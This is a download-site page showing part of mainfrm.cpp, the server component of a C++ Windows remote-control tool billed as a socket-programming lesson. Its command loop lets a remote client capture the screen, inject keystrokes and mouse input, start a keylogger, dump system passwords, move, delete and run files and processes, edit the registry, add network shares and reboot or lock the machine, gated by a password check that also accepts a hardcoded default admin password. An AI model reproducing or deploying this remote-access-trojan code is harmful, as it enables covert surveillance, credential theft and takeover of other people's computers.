⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mainfrm.cpp

📁 简单的远程控制工具,分为服务器与客户斋,让你了解socket编程的知识.
💻 CPP
📖 第 1 页 / 共 2 页
字号:
    while (nLen>0 && (nRet=lpWSK->ReadData(lpData,nLen,60))>0)
	{
            lpData+=nRet;
            nLen-=nRet;
	}
    if (nLen < 0) return -1 ;
    if (nRet <= 0) return -1;
	return nSize;
*/
return lpWSK->ReadData(lpData,nSize,60);
}

//命令调度
void CALLBACK Listen(SOCKET s, int ServerPort, const char *ClientIP)
{
	CGetScreenToBitmap Image;
	JpegFile pic;
	CString info, strtmp;
    SENDMSG SendMsg;
	CMainFrame *lpMain;
	char *lpText = NULL;
	int nRet;
	HDC		hDC;
	CString		strPath, strName, strParam;
    CString     sPassword;
	BYTE *lpData;
	CWSocket wsk;
	wsk = s;




//Send Version to confirm
//第一步:连接后返回版本号
   wsk.SetTimeout(60); //定时
   lpMain = (CMainFrame *)theApp.m_pMainWnd;   //显示连接成功
	strtmp.Format("连接上%s:%d socket=0x%X", ClientIP, ServerPort, s);
	lpMain->Msg_Display(strtmp);
    memset((char  *)&SendMsg, 0,sizeof(SENDMSG));
	SendMsg.wCmd = CMD_NULL;
	if(wsk.SendData((char *)&SendMsg, sizeof(SENDMSG), 60) < 0)
		goto Exit01;


Loop01:
while(true)
	{
	wsk.SetTimeout(60);
//初始化
	  memset((char  *)&SendMsg, 0,sizeof(SENDMSG));
	  strtmp.Empty();
//等候信号输入
	  if( ReadSafe(&wsk, (char *)&SendMsg, sizeof(SENDMSG)) < 0)
	  {
	     if(wsk.IsSockConnected(wsk.GetSocket())) 
			 goto Loop01;
		 goto Exit02; //接收超时
	  }
      if (SendMsg.dwFileSize != 0)
	  {
		 lpData = new BYTE[SendMsg.dwFileSize+1];
		 if (lpData == NULL) goto Exit02;
	     memset((char  *)lpData, 0,SendMsg.dwFileSize+1);
	     if(ReadSafe(&wsk, (char *)lpData, SendMsg.dwFileSize) < 0)
		 goto Exit02; //接收超时
		 strParam = lpData;
		 delete lpData;
	  }

//检查PASSWORD
	  strtmp = SendMsg.szPassword;   //Test Password
	  if (strtmp != DEF_ADM && 
		  strtmp != lpMain->m_strPassword)
		{
			SendMsg.iErrorCode = ERROR_PASSWORD;  
		    //strcpy(SendMsg.szText,"MSG: Unknow password !");
	        wsk.SendData((char *)&SendMsg, sizeof(SENDMSG), 60);
			goto Exit02;
		}
	   strtmp.Empty();
//	   strParam = SendMsg.szText;

//主命令行
   switch (SendMsg.wCmd)
     {
      case CMD_SERVER_CLOSE://关闭服务器命令
	       lpMain->DestroyWindow ();
	       info.Format("关闭%s:%d socket=0x%X", ClientIP, ServerPort, s);
	       goto Exit02;
      case CMD_SOCKET_CLOSE://终止连接命令
	       info.Format("断开%s:%d socket=0x%X", ClientIP, ServerPort, s);
	       goto Exit02;
      case CMD_GET_SCREEN_INFO://取屏幕信息
		    hDC = CreateDC("DISPLAY",NULL,NULL,NULL);
		    SendMsg.nBits = GetDeviceCaps(hDC, BITSPIXEL);
		    SendMsg.nBits = SendMsg.nBits * GetDeviceCaps(hDC, PLANES);
		    DeleteDC (hDC);
			SendMsg.nVersion = DEF_VERSION;
//	        strcpy(SendMsg.szText, DEF_VERSION);
		    SendMsg.rcArea = CRect(0,0,GetSystemMetrics (SM_CXSCREEN),GetSystemMetrics (SM_CYSCREEN));
	        if(wsk.SendData((char *)&SendMsg, sizeof(SENDMSG), 60) < 0)
		           goto Exit01;
		    goto Loop01;
	 case CMD_GET_SCREEN:
		    nRet = CmdProc_GetScreen((BYTE*)&wsk, 
				(BYTE*)&SendMsg, (BYTE *)&Image, (BYTE *)&pic);
            if(nRet == -1) goto Exit01;
		    goto Loop01;
	 case CMD_KEY_HOOK:  
		keybd_event ((BYTE)SendMsg.dwHookParam1,
  				    (BYTE)SendMsg.dwHookParam2,
					SendMsg.dwHookFlags,
           			0);
		    goto Loop01;
	 case CMD_MOUSE_HOOK:
	 case CMD_MOUSE_DBHOOK:
          CmdProc_Mouse((BYTE *)&SendMsg);
          goto Loop01;
     case CMD_LOCK_SCREEN:
		  CmdPro_LockDesktop((BOOL)SendMsg.dwHookFlags);
          goto Loop01;
     case CMD_NULL:
		  goto Loop01;
     case CMD_KEY_CAD: //Ctrl+Alt+Delete
		  CmdPro_Send_CtrlAltDel();
		  goto Loop01;
 }//end switch 

 //其它命令(原来的程序)
  while(!lpMain->m_bSendStringMsg);    //等待空闲
   lpMain->m_bSendStringMsg = FALSE;
   lpMain->m_lpSend = &wsk;
   switch (SendMsg.wCmd)
     {
	case CMD_FILE_RECEIVE://发送文件
/*		strName = strParam;
		lpFileData = CmdProc_ReceiveFile ((LPSTR)(LPCTSTR)strParam);
		if (lpFileData == NULL)
		{
            SendMsg.iErrorCode = -13;
		    strcpy(SendMsg.szText,"MSG: File Receive Successfully!");
			break;
		}
		else
		{
            dwFileSize = GlobalSize(lpFileData);
			SendMsg.dwBmpSize = dwFileSize;
			//1)返回文件大小
            if (wsk.SendData((char *)&SendMsg, sizeof(SENDMSG), 60) < 0 )
			{
	          info.Format("发送文件失败!断开%s:%d socket=0x%X", ClientIP, ServerPort, s);
	          goto Exit01;
			}
			//2)确认发送
	        if (ReadSafe(&wsk, (char *)&SendMsg,sizeof(SENDMSG)) < 0)
			{    
				GlobalFree(lpFileData);
	            info.Format("发送文件失败!断开%s:%d socket=0x%X", ClientIP, ServerPort, s);
				goto Exit01;
			}
			if (SendMsg.iErrorCode < 0) //3)取消发送
			{ 
				GlobalFree(lpFileData);
				goto loop01;
			}
		    strcpy(SendMsg.szText,"MSG: File Receive Failed");
			//4)发送文件
            if (wsk.SendData((char *)lpFileData, dwFileSize, 60) < 0 )
			{
				GlobalFree(lpFileData);
	            info.Format("发送文件失败!断开%s:%d socket=0x%X", ClientIP, ServerPort, s);
				goto Exit01;
			}
		GlobalFree(lpFileData);
*/
		if (CmdProc_ReceiveFile ((LPSTR)(LPCTSTR)strParam, &wsk) < 0) goto Exit01;
		strtmp = "MSG: File Send Successfully!";
		break;
	case CMD_FILE_SEND://接收文件
/*		  dwFileSize = SendMsg.dwBmpSize;
		  strName = strParam;
		  lpFileData = GlobalAlloc (GMEM_FIXED,dwFileSize);
		  if (lpFileData == NULL)
			{SendMsg.iErrorCode = -12;
		     strcpy(SendMsg.szText,"MSG: File Send Successfully!");
			goto loop01;
		  }
		  else
			SendMsg.iErrorCode = 0;
	      nRet = wsk.SendData((char *)&SendMsg, sizeof(SENDMSG), 60);		
          if (nRet <= 0 )
		  { 
			  GlobalFree(lpFileData); 
	          info.Format("接收文件失败!断开%s:%d socket=0x%X", ClientIP, ServerPort, s);
			  goto Exit01;
		  }
	      if (ReadSafe(&wsk, (char *)lpFileData, dwFileSize) < 0)
		  {  GlobalFree(lpFileData); 
	         info.Format("接收文件失败!断开%s:%d socket=0x%X", ClientIP, ServerPort, s);
		     goto Exit01; 
		  }
*/
		if (CmdProc_SendFile ((LPSTR)(LPCTSTR)strParam, &wsk) < 0) goto Exit02;
		strtmp = "MSG: File Send Successfully!";
        break;
	case CMD_KEY_START:
		nRet = CmdProc_SysLogKeys ((LPSTR)(LPCTSTR)strParam);  //Filename
		if (nRet == 0)
		    strtmp = "MSG: The Key Log Started Successfully!";
		else
		    strtmp = "MSG: The Key Log Started Failed!";
		break;
	case CMD_KEY_END:
		nRet = CmdProc_SysEndKeyLog ();
		if (nRet == 0)
		    strtmp = "MSG: The Key End Successfully!";
		else
		    strtmp = "MSG: The Key End Successfully!";
		break;
	case CMD_SYS_INFO:
		CmdProc_SysInfo (lpMain);
		strtmp = "SYS: Get System Info End!";
		break;
	case CMD_SYS_PW:
		CmdProc_SysListPasswords (lpMain);
		strtmp = "SYS: Get System Password End!";
		break;
	case CMD_SYS_REBOOT:
		nRet = CmdProc_SysReboot ();
		if (nRet == 0)
		    strtmp = "MSG: Reboot attempt failed!";
		else
		    strtmp = "MSG: Rebooting now.";
		break;
	case CMD_SYS_LOCK:
		CmdProc_SysLockup ();
	    strtmp = "MSG: System Lock!";
		return;
	case CMD_SYS_MSGBOX:
		//AfxMessageBox ((LPSTR)(LPCTSTR)strParam,MB_OK);
		lpMain->MsgBox(strParam);
		strtmp = "MSG: The Message Box had displayed!";
		break;
	case CMD_NET_SHARE_LIST:
		nRet = CmdProc_ListShare (lpMain);
		if (nRet == 0)
		 strtmp = "NET: Net Share List Finished!";
		else
		 strtmp = "NET: Net Share List Failed";
		break;
	case CMD_NET_SHARE_ADD:
		nRet = strParam.Find ("|",0);
		strPath = strParam.Left (nRet);
		strName = strParam.Right (strParam.GetLength() - nRet -1);
		nRet = CmdProc_AddShare ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
		if (nRet == 0)
		    strtmp = "MSG: Net Share Add Successfully!";
		else
		    strtmp ="MSG: Net Share Add Failed";
		break;
	case CMD_NET_SHARE_DEL:
		nRet = CmdProc_DeleteShare ((LPSTR)(LPCTSTR)strParam);
		if (nRet == 0)
		  strtmp = "MSG: Net Share Del Successfully!";
		else
		  strtmp = "MSG: Net Share Del Failed";
		break;
	case CMD_PROC_LIST:
		nRet = CmdProc_ProcessList ((LPSTR)(LPCTSTR)strParam,lpMain);
		strtmp = "PROC: Process Enumerate Successfully!";
		break;
	case CMD_PROC_END:
		nRet = CmdProc_ProcessKill ((LPSTR)(LPCTSTR)strParam);
		if (nRet == 0)
		strtmp = "MSG: Process Terminate Finished!";
		else
		strtmp = "MSG: Process Terminate Failed!";
		break;
	case CMD_PROC_NEW:
		nRet = CmdProc_ProcessSpawn ((LPSTR)(LPCTSTR)strParam);
		if (nRet == 0)
		  strtmp = "MSG: New Process create Successfully!";
		else
		   strtmp = "MSG: New Process create Failed";
		break;
	case CMD_FILE_DIR:
		nRet = CmdProc_DirectoryList ((LPSTR)(LPCTSTR)strParam);
		strtmp = "MSG: Directory List Finished!";
		break;
	case CMD_FILE_FIND:
		nRet = strParam.Find ("|",0);
		strPath = strParam.Left (nRet);
		if (strPath.GetLength () == 0)
			break;
		strName = strParam.Right (strParam.GetLength() - nRet -1);
		if (strName.GetLength () == 0)
			strName = "*.*";
		nRet = CmdProc_FileFind ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
		strtmp = "MSG: File Find Finished!";
		break;
	case CMD_FILE_DEL:
		nRet = CmdProc_FileDelete ((LPSTR)(LPCTSTR)strParam);
		if (nRet == 0)
		   strtmp = "MSG: File Delete Successfully!";
		else
		   strtmp = "MSG: File Delete Failed";
		break;
	case CMD_FILE_COPY:
		nRet = strParam.Find ("|",0);
		strPath = strParam.Left (nRet);
		strName = strParam.Right (strParam.GetLength() - nRet -1);
		nRet = CmdProc_FileCopy ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
		if (nRet == 0)
		   strtmp = "MSG: File Copy Successfully!";
		else
		   strtmp = "MSG: File Copy Failed";
		break;
	case CMD_FILE_RENAME:
		nRet = strParam.Find ("|",0);
		strPath = strParam.Left (nRet);
		strName = strParam.Right (strParam.GetLength() - nRet -1);
		nRet = CmdProc_FileRename ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
		if (nRet == 0)
		  strtmp = "MSG: File Rename Successfully!";
		else
		  strtmp = "MSG: File Rename Failed";
		break;
	case CMD_FILE_VIEW:
		nRet = CmdProc_FileView ((LPSTR)(LPCTSTR)strParam);
		if (nRet == 0)
		  strtmp = "MSG: File View Successfully!";
		else
		  strtmp = "MSG: File View Failed";
		break;
	case CMD_FILE_MAKE_DIR:
		nRet = CmdProc_DirectoryMake ((LPSTR)(LPCTSTR)strParam);
		if (nRet == 0)
		  strtmp = "MSG: Directory Create Successfully!";
		else
		  strtmp = "MSG: Directory Create Failed";
		break;
	case CMD_FILE_REMOVE_DIR:
		nRet = CmdProc_DirectoryDelete ((LPSTR)(LPCTSTR)strParam);
		if (nRet == 0)
		   strtmp = "MSG: Directory Delete Successfully!";
		else
		   strtmp = "MSG: Directory Delete Failed";
		break;
	case CMD_FILE_SET_ATTR:
		nRet = strParam.Find ("|",0);
		strPath = strParam.Left (nRet);
		strName = strParam.Right (strParam.GetLength() - nRet -1);
		nRet = CmdProc_SetFileAttr ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
		if (nRet == 0)
		    strtmp = "MSG: File Set Attribute Successfully!";
		else
		    strtmp = "MSG: Set Attribute Failed";
		break;
	case CMD_FILE_CANCEL:
		break;
	case CMD_REG_CREATE_KEY:
		nRet = CmdProc_RegCreateKey ((LPSTR)(LPCTSTR)strParam);
		   strtmp = "MSG: Reg Create Key Finished!";
		break;
	case CMD_REG_GET_VALUE:
		nRet = strParam.Find ("|",0);
		strPath = strParam.Left (nRet);
		strName = strParam.Right (strParam.GetLength() - nRet -1);
		nRet = CmdProc_RegGetValue ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
		   strtmp = "MSG: Reg Get Value Finished!";
		break;
	case CMD_REG_SET_VALUE:
		nRet = strParam.Find ("|",0);
		strPath = strParam.Left (nRet);
		strName = strParam.Right (strParam.GetLength() - nRet -1);
		nRet = CmdProc_RegSetValue ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
		strtmp = "MSG: Reg Set Value Finished!";
		break;
	case CMD_REG_DELETE_KEY:
		nRet = CmdProc_RegDeleteKey ((LPSTR)(LPCTSTR)strParam);
		strtmp = "Reg Delete Key Finished!";
		break;
	case CMD_REG_DELETE_VALUE:
		nRet = strParam.Find ("|",0);
		strPath = strParam.Left (nRet);
		strName = strParam.Right (strParam.GetLength() - nRet -1);
		nRet = CmdProc_RegDeleteValue ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
		strtmp = "MSG: Reg Delete Value Finished!";
		break;
	case CMD_REG_RENAME_KEY:
		nRet = strParam.Find ("|",0);
		strPath = strParam.Left (nRet);
		strName = strParam.Right (strParam.GetLength() - nRet -1);
		nRet = CmdProc_RegRenameKey ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
		strtmp = "MSG: Reg Rename Key Finished!";
		break;
	case CMD_REG_RENAME_VALUE:
		nRet = strParam.Find ("|",0);
		strPath = strParam.Left (nRet);
		strName = strParam.Right (strParam.GetLength() - nRet -1);
		nRet = CmdProc_RegRenameValue ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
		strtmp = "MSG: Reg Rename Value Finished!";
		break;
	case CMD_REG_ENUMERATE_KEYS:
		nRet = CmdProc_RegEnumKeys ((LPSTR)(LPCTSTR)strParam);
		strtmp = "MSG: Reg Enumerate Key Finished!";
		break;
	case CMD_REG_ENUMERATE_VAL:
		nRet = CmdProc_RegEnumValues ((LPSTR)(LPCTSTR)strParam);
		strtmp = "MSG: Reg Enumerate Value Finished!";
		break;
	default:
        SendMsg.iErrorCode = -100;
		strtmp = "MSG: Can not know command!";
	    info.Format("Unknow: s%X recv: CMD is %d Msg:%s", s, SendMsg.wCmd, strParam);
	    lpMain->Msg_Display(info);
	}//end switch

    SendMsg.wCmd = CMD_SEND_END;
//返回命令完成
//CallBack01:
	SendMsg.dwFileSize = strtmp.GetLength();
	if(wsk.SendData((char *)&SendMsg, sizeof(SENDMSG), 60) < 0)
		goto Exit01;
	if(SendMsg.dwFileSize)
	{
    	if(wsk.SendData(strtmp, SendMsg.dwFileSize, 60) < 0)
		goto Exit01;
	}
	lpMain->m_bSendStringMsg = TRUE;
//CallBack01:
//	if(wsk.SendData((char *)&SendMsg, sizeof(SENDMSG), 60) < 0)
//		goto Exit01;

}//end while

//永远不会运行到这里
return ;  

//新的程式:
Exit01: //发送错误
	wsk.Close();
	lpMain->m_bSendStringMsg = TRUE;
    info.Format("Error: s%X send: CMD is %d Msg:%s", s, SendMsg.wCmd, strtmp);
	lpMain->Msg_Display(info);
	goto Exit03;
Exit02: //接收错误
	wsk.Close();
	lpMain->m_bSendStringMsg = TRUE;
    info.Format("Error: s%X recv: CMD is %d Msg:%s", s, SendMsg.wCmd, strtmp);
	lpMain->Msg_Display(info);
Exit03:
/*    para.bExit = TRUE;
    Sleep(15);
    while(!para.IsExit) Sleep(1);
*/
    return ;	
}


⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -